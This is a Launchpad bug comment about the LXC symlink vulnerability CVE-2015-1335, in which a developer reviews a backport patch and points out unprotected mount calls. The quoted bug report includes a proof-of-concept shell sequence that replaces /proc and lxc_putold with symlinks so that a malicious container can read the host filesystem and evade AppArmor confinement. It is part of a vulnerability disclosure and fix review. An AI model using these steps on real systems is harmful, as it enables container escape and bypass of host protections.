Comment 76 for bug 1476662

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Serge Hallyn (serge-hallyn) wrote : Re: [Bug 1476662] Re: lxc-start symlink vulnerabilities may allow guest to read host filesystem, interfere with apparmor

Quoting Mike Gabriel (<email address hidden>):
> Hi all,
>
> today I worked on backporting available fixes for CVE-2015-1335 to LXC
> 0.7.x (as found in Debian squeeze-lts).
>
> The patch is attached, I am still in the testing-for-regressions phase.
> Can any of the LXC devs take a look at the patch and maybe see if it is
> suitable for Ubuntu 12.04, as well?

Hi,

So the thing to look for is any unconverted "mount" calls. It
looks like the lxc_setup_fs() calls to mount_fs() are not being
protected. So the contianer admin could attack through a /proc
symlink.

> Greets,
> Mike (aka sunweaver at debian.org)
>
> ** Patch added: "Backport fix for CVE-2015-1335 to LXC 0.7.x (Ubuntu 12.04 / Debian squeeze-lts)"
> https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1476662/+attachment/4529631/+files/CVE-2015-1335.patch
>
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> https://bugs.launchpad.net/bugs/1476662
>
> Title:
> lxc-start symlink vulnerabilities may allow guest to read host
> filesystem, interfere with apparmor
>
> Status in lxc package in Ubuntu:
> Fix Released
>
> Bug description:
> lxc-start shuffles around mounts using helper directory
> /usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here)
>
> It then modifies mounts operating in guest root directory before
> invoking init. As it does not check if all mount points are
> directories, a malicious guest may modify its internal structure
> before shutdown (or was created using manipulated image) and then when
> started again, guest may
>
> * Access the whole host root filesystem
>
> * Block switching from lxc-start apparmor profile to lxc-container-
> default
>
>
> # Real putold before pivot-root (root fs will end here)
> mkdir -p /x/lxc_putold
>
> # Faked putold
> ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold
> mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc
> touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts
>
>
> # proc fake
> mkdir -p /x/proc
> umount /proc
> rmdir /proc
> ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc
>
> mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self
> touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current
> touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status
>
>
> The issue was also found during
> https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html
>
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